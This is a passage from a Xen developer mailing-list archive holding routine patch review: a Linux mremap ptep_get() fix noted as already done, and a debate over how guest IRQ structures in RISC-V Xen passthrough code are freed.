 lowpriorityscore=0 bulkscore=0 impostorscore=0 phishscore=0 spamscore=0
 suspectscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607300084
X-purgate-ID: tlsNG-4011c0/1785411004-587CACFC-E7F0BC8C/0/0
X-purgate-type: clean
X-purgate-size: 1251

On Mon, Jul 27, 2026 at 05:46:58PM +0100, Muhammad Usama Anjum wrote:
> move_ptes() directly dereferences new_ptep when checking that the
> destination slot is empty. new_ptep now points to hw_pte_t table storage,
> while pte_none() consumes a logical pte_t value.
> 
> Read the destination entry through the standard ptep_get() accessor before
> passing the logical value to pte_none().
> 
> Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
> ---
>  mm/mremap.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/mm/mremap.c b/mm/mremap.c
> index d966ee8248b6b..ecb90ccee6fdd 100644
> --- a/mm/mremap.c
> +++ b/mm/mremap.c
> @@ -264,7 +264,7 @@ static int move_ptes(struct pagetable_move_control *pmc,
>  
>  	for (; old_addr < old_end; old_ptep += nr_ptes, old_addr += nr_ptes * PAGE_SIZE,
>  		new_ptep += nr_ptes, new_addr += nr_ptes * PAGE_SIZE) {
> -		VM_WARN_ON_ONCE(!pte_none(*new_ptep));
> +		VM_WARN_ON_ONCE(!pte_none(ptep_get(new_ptep)));

Same as the previous patch, except that I did it already:
https://lore.kernel.org/linux-mm/20260720141633.501799-1-agordeev@linux.ibm.com/

>  
>  		nr_ptes = 1;
>  		max_nr_ptes = (old_end - old_addr) >> PAGE_SHIFT;
> -- 
> 2.47.3
> 


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 11:31:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 11:31:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377650.1623579 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpOzN-0003CP-RT; Thu, 30 Jul 2026 11:31:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377650.1623579; Thu, 30 Jul 2026 11:31:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpOzN-0003CI-OW; Thu, 30 Jul 2026 11:31:49 +0000
Received: by outflank-mailman (input) for mailman id 1377650;
 Thu, 30 Jul 2026 11:31:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wpOzM-0003CA-U4
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 11:31:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpOzK-00HNMU-W6
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 13:31:47 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6b3622-bab6-0a2a0a5309dd-0a2a4508b2bc-2
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 13:31:46 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6b3622-f659-0a2a45080019-d155802aa5c5-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 13:31:46 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-495437bb891so5488325e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 04:31:46 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47fc88d7097sm5329959f8f.5.2026.07.30.04.31.45
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 30 Jul 2026 04:31:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785411106; x=1786015906; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=cAZumL/Aqc7BPMoLy5wLpf6cWCOxSKCjfqYITDKbJx8=;
        b=DfeN6qotOMRR4qoXyfMVgip8KJSKz0XuRQpjyWgKoBqfuh4EKRsMPYyfzQJM1HXLEu
         s5qWfrRgMPbtVAsS6fRQObjItaG43Hh3eOvMjYuGGH+QZ9qdclU90XwnrJvXXN4dRLpO
         FD72m6wn4k0hjURTgBNkCkWiqXtjIFFGLV5U06+UwOfeP8JK30vYBVIUDW4ucXeDezxu
         bkgkE1BlZUCdxRmyLQAarW0lgZxTNJTuG5z2orYmasj2tlHckLjF0kHEFcHRqwNuF6uQ
         JX1OowovV+Z22gaykaEe9I8U4/YEQtC7x77oEygoSpiqpesDW2tiIgthgMrz+ua+ZWem
         7P8w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785411106; x=1786015906;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=cAZumL/Aqc7BPMoLy5wLpf6cWCOxSKCjfqYITDKbJx8=;
        b=A/zMWk4q0NN0qVXk0jaZRevc4bnTKF/KGq+bN+1/hbZmNmDG7JiHsEEJQ4T44q1spf
         FhaD80jWlffm9KKz3CSOMA8QvnXJarY4iG+Jm9+KmnXw96JKKgW2HMivWiyDFSUTq8cB
         jFDjAhh8ORFnbdCus6QFgNxDG2QvCcNob4LWCpvSzJa+rWfo97LoA919SztvQiTYKSYr
         JWZeUoEzX9M7jkC3+UODLeByqlaCBKufzpr628ixHeI1jZVcqTe/L3M0JSXdRfrfIX3+
         62h4v5FVdhstNVbhRC9DqC1yl1hJlHCDV/XitUTZRlGP+PrQjrP/16UsjtOlHu9OGp5f
         26oQ==
X-Forwarded-Encrypted: i=1; AHgh+RpudzeZwCacmDb2kKPA2Si2ysiElIpY+oFxYnT6s6ykNn2NYEaLVBBX5QeT32fxa6iEP0v8+ZL6DBg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxRFJijUmAepPKLaBklY1XeZbAgbfeRoAYW7Tl2jRwaEyRV8yOP
	WD31Ts076trvnwDvwsXhaFDLZjY4WXMXuYhVotkc8Do31HSBiQEQDJbG
X-Gm-Gg: AR+sD1346qCNXUKa+92mXs3x1Q4MQLAI8BznW/VdXbL5Eu9bM4V24ohJKV6Q878oNVK
	VrFbqtXlnAqFbHDalI5z36EeNrGXi8Df4tR25bRsj89aUEdgem8cgAYIlvH1VY24DlK1BYec26m
	8IvK7p/6TwcosynRi4bAWJElTf8TVtXKUkzvumsBAonshmjBC7a5rsbPEqABNPrVJENdZ8nfFAU
	DzEZgllBZa1x0LMh2VBMP9bFi1gbitZ17rIF6ZAK9rSPljR2PmodjTlfpFat4p8wcTzj7vO1/4f
	JpEbJ8zBhZu+W5sNlbqRXY6koaSEFMoqj8A3Ed27EMFik6fGA53TMY3pdGtDf0SvuGqII8DyTX5
	G22cSnPMBuCr0KQsMEx5q8HAmlwGJEcfyhvOzBWDTzBXIbNlNrxLVee4VfWY6T1JI1F4/q49DSz
	i9kbm6wZPkLpzrOxvx27/f6XjF6lbMG+jkZiDXF3iOZ515T/8PmPpoWJT4hXoj2/U0gWNEDuDUo
	9LtfOLDukevn3VnEoR9wuucwUNDWoM0lubrL3UUjbk=
X-Received: by 2002:a05:600c:4847:b0:495:5ed2:3756 with SMTP id 5b1f17b1804b1-49801f19b4emr15830665e9.16.1785411106062;
        Thu, 30 Jul 2026 04:31:46 -0700 (PDT)
Message-ID: <e7d1775d-3c91-43d1-b7a7-30600dcd23dd@gmail.com>
Date: Thu, 30 Jul 2026 13:31:44 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 18/23] xen/riscv: implement IRQ routing for device
 passthrough
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <c489a420b1c01c5312773c2e2b51f63d3babf855.1784559209.git.oleksii.kurochko@gmail.com>
 <c64fc958-73bb-44ed-a3b2-dc368ce675ac@suse.com>
 <6cebc63c-2f21-4ef8-ab10-e2ec62f887b7@gmail.com>
 <534eef4c-7f5d-4565-97b8-e0cc3b3290c2@suse.com>
 <5c5f04e2-56fb-42b5-b49c-faebac313c54@gmail.com>
 <756041b3-14e2-4c1d-bbee-548ca3bea349@gmail.com>
 <ea3417c9-bf6a-4b07-9a74-d9a767a87c9e@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <ea3417c9-bf6a-4b07-9a74-d9a767a87c9e@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1785411106-D534D87B-575496D0/10/73395122804
X-purgate-type: spam
X-purgate-size: 4148



On 7/30/26 9:18 AM, Jan Beulich wrote:
> On 29.07.2026 17:23, Oleksii Kurochko wrote:
>>
>>
>> On 7/29/26 5:02 PM, Oleksii Kurochko wrote:
>>>
>>>
>>> On 7/29/26 4:15 PM, Jan Beulich wrote:
>>>> On 29.07.2026 13:59, Oleksii Kurochko wrote:
>>>>> On 7/23/26 3:30 PM, Jan Beulich wrote:
>>>>>> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>>>>>>> +/* Route an IRQ to a specific guest */
>>>>>>> +int route_irq_to_guest(struct domain *d, unsigned int virq,
>>>>>>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  unsigned int irq, const char *devname)
>>>>>>> +{
>>>>>>> +Â Â Â  struct irqaction *action;
>>>>>>> +Â Â Â  struct irq_guest *info;
>>>>>>> +Â Â Â  struct irq_desc *desc;
>>>>>>> +Â Â Â  unsigned long flags;
>>>>>>> +Â Â Â  int retval = 0;
>>>>>>> +
>>>>>>> +Â Â Â  if ( d->is_dying )
>>>>>>> +Â Â Â Â Â Â Â  return -EINVAL;
>>>>>>> +
>>>>>>> +Â Â Â  desc = irq_to_desc(irq);
>>>>>>> +
>>>>>>> +Â Â Â  /*
>>>>>>> +Â Â Â Â  * release_irq() frees this action via xvfree(), relying on
>>>>>>> action
>>>>>>> +Â Â Â Â  * being the first member of struct irq_guest so that &info-
>>>>>>>> action
>>>>>>> +Â Â Â Â  * coincides with info itself. Guard the layout so a future field
>>>>>>> +Â Â Â Â  * reorder can't silently turn that into a free() of a mid-
>>>>>>> allocation
>>>>>>> +Â Â Â Â  * pointer.
>>>>>>> +Â Â Â Â  */
>>>>>>> +Â Â Â  BUILD_BUG_ON(offsetof(struct irq_guest, action) != 0);
>>>>>>
>>>>>> Can't release_irq() simply use container_of()? One way or another it
>>>>>> feels
>>>>>> like you're painting yourself into a particular corner ...
>>>>>
>>>>> If it isn't the best option then it is needed to follow they way we had
>>>>> before:
>>>>
>>>> I don't understand why you think you need to go back.
>>>
>>> Because, based on your replyâ€”specifically, "One way or another it feels
>>> like you're painting yourself into a particular corner..." â€” it seems
>>> that even if I replaced BUILD_BUG_ON() with container_of() in
>>> release_irq(), you would still consider it a bad solution. Did I
>>> misunderstand your point?
>>
>> One more thing: I'm not really sure it's safe to do the following in
>> release_irq():
>>
>> if ( action->free_on_release )
>>       xvfree(container_of(action, struct irq_guest, action));
>>
>> release_irq() is a generic API, but this kind of allocation is only
>> needed for guest IRQs. Wouldn't it be better to set:
>>
>> action->free_on_release = false;
>>
>> for guest IRQs, and then free the memory in release_guest_irq() after
>> the call to release_irq()?
> 
> Perhaps.
> 
>> Wouldn't that be a better approach than calling
>> `xvfree(container_of(...))` from within the generic release_irq()?
> 
> Perhaps.
> 
> What I'd really like to see you do is come up with an approach that is
> both self-consistent and future-proof. With the latter aspect meaning that
> it should be (reasonably) easy to identify places that need changing if
> e.g. the "->free_on_release is only ever one value" property goes away.
> 

An approach with action->free_on_release = false; together with 
vfree(info) in release_guest_irq() seems to be the best option. Since 
action is no longer allocated dynamically, it should not be freed 
through free_on_release, so setting it to false makes that explicit. 
Additionally, guest IRQs have extra state (struct irq_guest), and it is 
the responsibility of release_guest_irq() to clean it up.

This also keeps the semantics of ->free_on_release consistent for Xen 
IRQs. If it is set to true, release_irq() is responsible for freeing 
struct irq_action; if it is false, release_irq() should not free it.

For guest interrupts, release_irq() should not free anything because 
struct irq_action is embedded in struct irq_guest, which is freed by 
release_guest_irq(). If, in the future, guest interrupts need 
->free_on_release = true, the only required change would be to allocate 
struct irq_action dynamically and set ->free_on_release = true. All 
other is already covered. That makes the design, in my opinion, 
self-consistent and future-proof.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 13:01:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 13:01:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1377752.1623588 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpQNO-000274-9w; Thu, 30 Jul 2026 13:00:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1377752.1623588; Thu, 30 Jul 2026 13:00:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpQNO-00026x-7K; Thu, 30 Jul 2026 13:00:42 +0000
Received: by outflank-mailman (input) for mailman id 1377752;
 Thu, 30 Jul 2026 13:00:41 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Usama.Anjum@arm.com>) id 1wpQNN-00026r-3O
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 13:00:41 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpQNM-0002Tr-9p
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 15:00:40 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6b4aed-e002-0a2a0a5209dd-0a2a450ca4de-38
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 15:00:38 +0200
Received: from [52.101.69.16]
 (helo=AM0PR83CU005.outbound.protection.outlook.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a6b4af3-f479-0a2a450c0019-34654510e1c5-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 15:00:36 +0200
Received: from AM8P190CA0002.EURP190.PROD.OUTLOOK.COM (2603:10a6:20b:219::7)
 by PR3PR08MB5609.eurprd08.prod.outlook.com (2603:10a6:102:81::21) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.14; Thu, 30 Jul
 2026 13:00:32 +0000
Received: from AMS1EPF00000049.eurprd04.prod.outlook.com
 (2603:10a6:20b:219:cafe::9d) by AM8P190CA0002.outlook.office365.com
 (2603:10a6:20b:219::7) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.14 via Frontend Transport; Thu,
 30 Jul 2026 13:00:31 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 AMS1EPF00000049.mail.protection.outlook.com (10.167.16.133) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.292.8
 via Frontend Transport; Thu, 30 Jul 2026 13:00:31 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com (2603:10a6:803:80::16)
 by AM8PR08MB6499.eurprd08.prod.outlook.com (2603:10a6:20b:317::8)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.15; Thu, 30 Jul
 2026 12:59:27 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4]) by VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4%3]) with mapi id 15.21.0270.009; Thu, 30 Jul 2026
 12:59:27 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=brhowPZaixhmItoK63D6dRP2HdCj5SxXd89zLkHVw7pOcFVeXeRa6dsm8MDQH2QdjHHroEFd6Vy44UqOzVenBzRaPsvq2w0EKl4/IUBXwYzmU5FD5qK98zkuVHmMIddytylp7fEVQEld1svrp9/gpgB0caXUxONBqz1/LErICzn4gwYGnJsc2+Ui0OSVwjry+j4F6v4JP23HSx/RTzA3YyUr19kWue54mZA4bYjLI4JtNd6PCkBYE8kJv5fNgQkVHSUF7DU8DJg2hcoyi/4JyMN/cq8S6/kq5jWAIfuLSDbG0lV2pE89qdy98lEN93IhPQHsGpZjPMIkgE+4LHtuHQ==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=TGN+4FAAC8jIvrpXYh0SLEvL/4I+/62MbZ2lH29z+TY=;
 b=ld77FhXLKU8yRLcwuOJoBUXZowlHzw/KREmKaaKSNP4IboVn1/jT58no8kAbEK6CO7RiQ3p4rix/RkSc9V/9IDg45FUXT8q/DlphJbEYrV4PfD8jZXRgsWDWJMygGRuNeMbioQzSFFGYKFVVCl68TCsTTNZvnv2YGt/BxhdGB3WppribI5+hiH7pCMPEnErfjlebi7ZNwbSJ0KaFmFQ1Fgu0OiackJx4pHAYbXNXv22/TQ/kaXfhMZi/2H7eRZacVj8ZTjeEEZYZGVHsgt6HSgxqEJ5CwmKUZpLR4FO4z6UIGzXJ1PXVATOciDArVN7cGHl4zvT358xsO5m2ssZlpw==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=linux.ibm.com smtp.mailfrom=arm.com;
 dmarc=pass (p=none sp=none pct=100) action=none header.from=arm.com;
 dkim=pass (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=TGN+4FAAC8jIvrpXYh0SLEvL/4I+/62MbZ2lH29z+TY=;
 b=ehFlbI73LoxtbByzSNijQF7loKC3ZeZkxXqfibb33CjVmDNBoYQoepnyr1q1+I1wvvtby/Q9VRDpUKgcH09WljEJj8R5a76S1CKxrdWBk6bf1e/WMFtGccv8XgrF/uT+BZ9ZnJ9h1+A9xjW4ASKIJeakwn8760yq3o5hOm8kHDw=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Yyx+ToOaEnOvliHo5S5zNq7kYBNmgVSRSL0orMykREc9hqSqjsYxQs6C+lu7IYnDXiqlAhPCkdvWBpA4SH3qEK3mFGCnmqynn1L1wHgf/2D1/REgmU4jA1bZUfu4FJEoB4cUaInXCuzbVMHLc0/hyx9184MDrGAS4+YSQsaH2F8L4/e0zrFC6u2XZRkGkB+IRw+ipGNzOdlsNWrP94fZj8M5j1frcD0vHU01l0imGM/TFij8bUMMESJ4CqovmhZr4gEwzrh75Y7b9jhjgHkFozLm3Ik0uwrs9XixxlPemeJLSTjwELPeh+384IKVCn7ncub1OMEh+EfEplfh0oYX4g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=TGN+4FAAC8jIvrpXYh0SLEvL/4I+/62MbZ2lH29z+TY=;
 b=OPOKjo3Rvy1I4POMIdhajtkJh+RtxKtxGV3xKvUK1yETsg6IzZIMYDDo2cAhLp1PGVZjKFQ6h+aM6JDuMdFWgOTq5x44s+3uUK1oEUbjJLJnVvcq8Ey7XHaO5Lp90rsOH65dFFx0AEyuzASd8q1VpHZVGCp1IHM+Njtzh7zFI5BkKadZCXEjFo2WWCmTIzp3QTVC7Wvb0frWM/amTwik2w880RYlT68zBtZ0gsz6n0kvCxcgn6eF0mUG3KquYfe6ExEhGkpWanzhMxR/C3/ueWLSOH7blAEAxexih86vrVpfwxsrr+Zx77zveIZpbP7Ato2fWzoLhPG2gG6HjGGhVA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=TGN+4FAAC8jIvrpXYh0SLEvL/4I+/62MbZ2lH29z+TY=;
 b=ehFlbI73LoxtbByzSNijQF7loKC3ZeZkxXqfibb33CjVmDNBoYQoepnyr1q1+I1wvvtby/Q9VRDpUKgcH09WljEJj8R5a76S1CKxrdWBk6bf1e/WMFtGccv8XgrF/uT+BZ9ZnJ9h1+A9xjW4ASKIJeakwn8760yq3o5hOm8kHDw=
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
Message-ID: <fe1b4098-6ab7-4cf1-ad6b-ffadabbd587a@arm.com>
Date: Thu, 30 Jul 2026 13:59:24 +0100
User-Agent: Mozilla Thunderbird
Cc: usama.anjum@arm.com, Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 David Hildenbrand <david@kernel.org>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
Subject: Re: [PATCH RFC 07/11] mm/mremap: use ptep_get() for the destination
 PTE
To: Alexander Gordeev <agordeev@linux.ibm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <20260727164715.2866609-8-usama.anjum@arm.com>
 <50dd77c0-b6cc-43e2-abd5-6d44a29b5597-agordeev@linux.ibm.com>
From: Muhammad Usama Anjum <usama.anjum@arm.com>
Content-Language: en-US
In-Reply-To: <50dd77c0-b6cc-43e2-abd5-6d44a29b5597-agordeev@linux.ibm.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P265CA0022.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2ae::14) To VI1PR08MB3421.eurprd08.prod.outlook.com
 (2603:10a6:803:80::16)
MIME-Version: 1.0
X-MS-TrafficTypeDiagnostic:
	VI1PR08MB3421:EE_|AM8PR08MB6499:EE_|AMS1EPF00000049:EE_|PR3PR08MB5609:EE_
X-MS-Office365-Filtering-Correlation-Id: 2422e5ee-63ab-47d4-de99-08deee3a8993
x-checkrecipientrouted: true
NoDisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|1800799024|366016|376014|7416014|23010399003|10067099003|4143699003|11063799006|56012099006|22082099003|18002099003;
